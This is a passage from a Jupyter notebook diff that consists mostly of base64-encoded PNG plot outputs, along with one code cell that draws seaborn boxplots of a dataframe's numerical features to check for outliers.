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\n"
+          },
+          "metadata": {}
+        }
+      ],
+      "source": [
+        "# Plot boxplots for all numerical features to detect potential outliers\n",
+        "plt.figure(figsize=(15,7))\n",
+        "plt.xticks(rotation=90)\n",
+        "sns.boxplot(df)\n"
       ]
-     },
-     "execution_count": 22,
-     "metadata": {},
-     "output_type": "execute_result"
     },
     {
-     "data": {
-      "image/png": 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